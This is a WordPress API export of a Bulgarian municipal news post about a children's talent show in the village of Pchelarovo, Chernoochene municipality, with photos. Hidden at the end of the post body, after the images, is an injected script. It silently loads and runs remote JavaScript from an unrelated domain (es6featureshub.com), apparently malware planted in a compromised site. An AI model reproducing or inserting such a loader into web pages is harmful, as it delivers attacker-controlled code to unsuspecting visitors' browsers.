{"id":20990,"date":"2025-08-10T16:00:52","date_gmt":"2025-08-10T14:00:52","guid":{"rendered":"https:\/\/chernoochene.com\/?p=20990"},"modified":"2025-09-01T16:30:08","modified_gmt":"2025-09-01T13:30:08","slug":"%d0%b4%d0%b5%d1%82%d1%81%d0%ba%d0%b8-%d0%bf%d1%80%d0%b0%d0%b7%d0%bd%d0%b8%d0%ba-%d0%bd%d0%b0-%d1%82%d0%b0%d0%bb%d0%b0%d0%bd%d1%82%d0%b0-%d0%b2-%d1%81%d0%b5%d0%bb%d0%be-%d0%bf%d1%87%d0%b5%d0%bb%d0%b0","status":"publish","type":"post","link":"https:\/\/chernoochene.com\/?p=20990","title":{"rendered":"\u0414\u0435\u0442\u0441\u043a\u0438 \u043f\u0440\u0430\u0437\u043d\u0438\u043a \u043d\u0430 \u0442\u0430\u043b\u0430\u043d\u0442\u0430 \u0432 \u0441\u0435\u043b\u043e \u041f\u0447\u0435\u043b\u0430\u0440\u043e\u0432\u043e"},"content":{"rendered":"<p><a href=\"https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-20991\" src=\"https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/1.jpg\" alt=\"\" width=\"800\" height=\"705\" srcset=\"https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/1.jpg 800w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/1-300x264.jpg 300w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/1-768x677.jpg 768w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/1-730x643.jpg 730w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/1-435x383.jpg 435w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/a>\u041c\u043e\u043c\u0438\u0447\u0435\u0442\u0430 \u0438 \u043c\u043e\u043c\u0447\u0435\u0442\u0430 \u043e\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u0438 \u043a\u0440\u0430\u0438\u0449\u0430 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0430\u0442\u0430, \u043f\u0440\u0435\u043a\u0430\u0440\u0432\u0430\u0449\u0438 \u043b\u044f\u0442\u043d\u0430\u0442\u0430 \u0441\u0438 \u0432\u0430\u043a\u0430\u043d\u0446\u0438\u044f \u0432 \u0441\u0435\u043b\u043e \u041f\u0447\u0435\u043b\u0430\u0440\u043e\u0432\u043e, \u043e\u0431\u0449\u0438\u043d\u0430 \u0427\u0435\u0440\u043d\u043e\u043e\u0447\u0435\u043d\u0435, \u0443\u0447\u0430\u0441\u0442\u0432\u0430\u0445\u0430 \u0432 \u0441\u043f\u0435\u043a\u0442\u0430\u043a\u044a\u043b\u0430 \u201e\u0422\u0430\u043b\u0430\u043d\u0442\u0438\u0442\u0435 \u043d\u0430 \u041f\u0447\u0435\u043b\u0430\u0440\u043e\u0432\u043e\u201c. \u0421\u044a\u0431\u0438\u0442\u0438\u0435\u0442\u043e, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0438\u0440\u0430\u043d\u043e \u043e\u0442 \u041d\u0430\u0440\u043e\u0434\u043d\u043e \u0447\u0438\u0442\u0430\u043b\u0438\u0449\u0435 \u201e\u0418\u0432\u0430\u043d \u0411\u0443\u044e\u043a\u043b\u0438\u0435\u0432 1926 \u0433.\u201c, \u0438\u043c\u0430\u0448\u0435 \u0437\u0430 \u0446\u0435\u043b \u0434\u0430 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438 \u043d\u0430 \u0434\u0435\u0446\u0430\u0442\u0430 \u043f\u0440\u0438\u044f\u0442\u043d\u0438 \u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u043d\u0438\u044f.<br \/>\n\u0427\u0440\u0435\u0437 \u0438\u0433\u0440\u0438, \u0442\u0432\u043e\u0440\u0447\u0435\u0441\u043a\u0438 \u0438\u0437\u044f\u0432\u0438 \u0438 \u0447\u0435\u0442\u0435\u043d\u0435 \u043d\u0430 \u043b\u044e\u0431\u0438\u043c\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043c\u0430\u043b\u0447\u0443\u0433\u0430\u043d\u0438\u0442\u0435 \u0441\u0435 \u043f\u043e\u0442\u043e\u043f\u0438\u0445\u0430 \u0432 \u0430\u0442\u043c\u043e\u0441\u0444\u0435\u0440\u0430\u0442\u0430 \u043d\u0430 \u0441\u0435\u043b\u043e\u0442\u043e, \u043d\u0430\u0443\u0447\u0438\u0445\u0430 \u043f\u043e\u0432\u0435\u0447\u0435 \u0437\u0430 \u043d\u0435\u0433\u043e\u0432\u0438\u0442\u0435 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u0438 \u0438 \u0437\u0430\u0431\u0435\u043b\u0435\u0436\u0438\u0442\u0435\u043b\u043d\u043e\u0441\u0442\u0438, \u0438 \u043f\u043e\u0441\u0435\u0442\u0438\u0445\u0430 \u043e\u0431\u043d\u043e\u0432\u0435\u043d\u0430\u0442\u0430 \u043a\u044a\u0449\u0430-\u043c\u0443\u0437\u0435\u0439. \u0422\u0430\u043a\u0430 \u0442\u0435 \u0443\u043a\u0440\u0435\u043f\u0438\u0445\u0430 \u0432\u0440\u044a\u0437\u043a\u0430\u0442\u0430 \u0441\u0438 \u0441 \u043a\u043e\u0440\u0435\u043d\u0438\u0442\u0435 \u0441\u0438 \u0438 \u0438\u0437\u0433\u0440\u0430\u0434\u0438\u0445\u0430 \u0441\u0438\u043b\u043d\u0430 \u043f\u0440\u0438\u0432\u044a\u0440\u0437\u0430\u043d\u043e\u0441\u0442 \u043a\u044a\u043c \u0440\u043e\u0434\u043d\u043e\u0442\u043e \u043c\u044f\u0441\u0442\u043e.<br \/>\n\u0413\u043e\u0441\u0442\u0438 \u043d\u0430 \u0441\u044a\u0431\u0438\u0442\u0438\u0435\u0442\u043e \u0431\u044f\u0445\u0430 \u0438 \u0442\u0435\u0445\u043d\u0438 \u0432\u0440\u044a\u0441\u0442\u043d\u0438\u0446\u0438 \u043e\u0442 \u0434\u0440\u0443\u0433\u0438 \u0441\u0435\u043b\u0430 \u0432 \u0440\u0430\u0439\u043e\u043d\u0430.<br \/>\n\u0427\u0438\u0442\u0430\u043b\u0438\u0449\u0435\u0442\u043e \u0432 \u041f\u0447\u0435\u043b\u0430\u0440\u043e\u0432\u043e \u043f\u0440\u043e\u0434\u044a\u043b\u0436\u0430\u0432\u0430 \u0434\u0430 \u043e\u0431\u043e\u0433\u0430\u0442\u044f\u0432\u0430 \u0434\u0435\u0439\u043d\u043e\u0441\u0442\u0442\u0430 \u0441\u0438 \u0441 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0438, \u043a\u043e\u0438\u0442\u043e \u043d\u0430\u0441\u044a\u0440\u0447\u0430\u0432\u0430\u0442 \u043b\u044e\u0431\u043e\u0432\u0442\u0430 \u043a\u044a\u043c \u0440\u043e\u0434\u043d\u043e\u0442\u043e \u043c\u044f\u0441\u0442\u043e.<br \/>\n\u0418\u0441\u043c\u0435\u0442 \u0418\u0421\u041c\u0410\u0418\u041b<\/p>\n<p><a href=\"https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-20992\" src=\"https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/3.jpg\" alt=\"\" width=\"800\" height=\"308\" srcset=\"https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/3.jpg 800w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/3-300x116.jpg 300w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/3-768x296.jpg 768w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/3-730x281.jpg 730w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/3-435x167.jpg 435w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/a> <a href=\"https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/2-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-20993\" src=\"https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/2-2.jpg\" alt=\"\" width=\"800\" height=\"738\" srcset=\"https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/2-2.jpg 800w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/2-2-300x277.jpg 300w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/2-2-768x708.jpg 768w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/2-2-730x673.jpg 730w, https:\/\/chernoochene.com\/wp-content\/uploads\/2025\/08\/2-2-435x401.jpg 435w\" sizes=\"auto, (max-width: 800px) 100vw, 800px\" \/><\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u041c\u043e\u043c\u0438\u0447\u0435\u0442\u0430 \u0438 \u043c\u043e\u043c\u0447\u0435\u0442\u0430 \u043e\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u0438 \u043a\u0440\u0430\u0438\u0449\u0430 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0430\u0442\u0430, \u043f\u0440\u0435\u043a\u0430\u0440\u0432\u0430\u0449\u0438 \u043b\u044f\u0442\u043d\u0430\u0442\u0430 \u0441\u0438 \u0432\u0430\u043a\u0430\u043d\u0446\u0438\u044f \u0432 \u0441\u0435\u043b\u043e \u041f\u0447\u0435\u043b\u0430\u0440\u043e\u0432\u043e, \u043e\u0431\u0449\u0438\u043d\u0430 \u0427\u0435\u0440\u043d\u043e\u043e\u0447\u0435\u043d\u0435, \u0443\u0447\u0430\u0441\u0442\u0432\u0430\u0445\u0430 \u0432 \u0441\u043f\u0435\u043a\u0442\u0430\u043a\u044a\u043b\u0430 \u201e\u0422\u0430\u043b\u0430\u043d\u0442\u0438\u0442\u0435 \u043d\u0430 \u041f\u0447\u0435\u043b\u0430\u0440\u043e\u0432\u043e\u201c. \u0421\u044a\u0431\u0438\u0442\u0438\u0435\u0442\u043e, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0438\u0440\u0430\u043d\u043e \u043e\u0442 \u041d\u0430\u0440\u043e\u0434\u043d\u043e \u0447\u0438\u0442\u0430\u043b\u0438\u0449\u0435 \u201e\u0418\u0432\u0430\u043d \u0411\u0443\u044e\u043a\u043b\u0438\u0435\u0432 1926 \u0433.\u201c, \u0438\u043c\u0430\u0448\u0435 \u0437\u0430 \u0446\u0435\u043b \u0434\u0430 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438 \u043d\u0430 \u0434\u0435\u0446\u0430\u0442\u0430 \u043f\u0440\u0438\u044f\u0442\u043d\u0438 \u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u043d\u0438\u044f. \u0427\u0440\u0435\u0437 \u0438\u0433\u0440\u0438, \u0442\u0432\u043e\u0440\u0447\u0435\u0441\u043a\u0438 \u0438\u0437\u044f\u0432\u0438 \u0438 \u0447\u0435\u0442\u0435\u043d\u0435 \u043d\u0430 \u043b\u044e\u0431\u0438\u043c\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043c\u0430\u043b\u0447\u0443\u0433\u0430\u043d\u0438\u0442\u0435 \u0441\u0435 \u043f\u043e\u0442\u043e\u043f\u0438\u0445\u0430 [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":20991,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-20990","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"_links":{"self":[{"href":"https:\/\/chernoochene.com\/index.php?rest_route=\/wp\/v2\/posts\/20990","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/chernoochene.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/chernoochene.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/chernoochene.com\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/chernoochene.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=20990"}],"version-history":[{"count":2,"href":"https:\/\/chernoochene.com\/index.php?rest_route=\/wp\/v2\/posts\/20990\/revisions"}],"predecessor-version":[{"id":21136,"href":"https:\/\/chernoochene.com\/index.php?rest_route=\/wp\/v2\/posts\/20990\/revisions\/21136"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/chernoochene.com\/index.php?rest_route=\/wp\/v2\/media\/20991"}],"wp:attachment":[{"href":"https:\/\/chernoochene.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=20990"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/chernoochene.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=20990"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/chernoochene.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=20990"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}